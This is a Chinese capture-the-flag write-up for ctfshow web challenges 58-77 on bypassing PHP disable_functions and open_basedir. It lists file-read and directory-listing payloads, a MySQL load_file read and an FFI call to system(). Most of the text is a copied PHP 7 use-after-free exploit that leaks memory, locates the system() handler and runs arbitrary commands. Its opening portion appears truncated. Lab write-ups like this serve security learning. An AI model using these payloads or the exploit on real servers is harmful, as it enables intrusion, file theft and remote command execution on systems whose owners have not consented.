ctfshow web入门58-77绕过disable function

该系列为php中绕过disable function的题目
下文中写的过xxx(65之前的)表示此题及此题之前的都可以过

通过复制，重命名读取php文件内容（函数执行后，访问url/flag.txt）
函数：
copy()
rename()
用法：
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

单一函数读文件内容：
函数：
file_get_contents()
readfile()
file()
用法：
echo file_get_contents("flag.php");           //过58
readfile("flag.php");                         //过58
print_r(file("flag.php"));                    //过59

通过fopen读文件内容：
函数：
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法：
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  //过60

高亮显示php文件
函数
show_source()
highlight_file()
用法：
show_source("flag.php");                //过65  此后需先扫描目录
highlight_file("flag.php");             //过65

flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt");                                                           //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "
"; };highlight_file("/flag.txt");  //过66-67

后面因为是txt文件，所以直接用include直接包含就能显示flag
include()
require()
用法：
include("/flag.txt");  //过66-70
require("/flag.txt");  //过66-70

绕过echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可
用法
include("/flag.txt");exit();  //过71
require("/flag.txt");exit();  //过71
echo(scandir("/")[6]);include("/flagc.txt");exit();  //过73
$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "
"; };include("flagx.txt");exit();  //过74

绕过open_basedir
//可绕72的目录限制,但无法读文件
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "
"; };include("flagx.txt");exit(); 

//可绕72，利用uaf绕过函数限制 (传入后需url编码下)
代码来源(https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
c=?>a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

利用mysql load_file读文件   //过75,76
try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row) {   //flag36d.txt
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
}

通过FFI（7.4版本）   //过77
c=$ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > xxx.txt';$ffi-   >system($a);exit();   //访问xxx.txt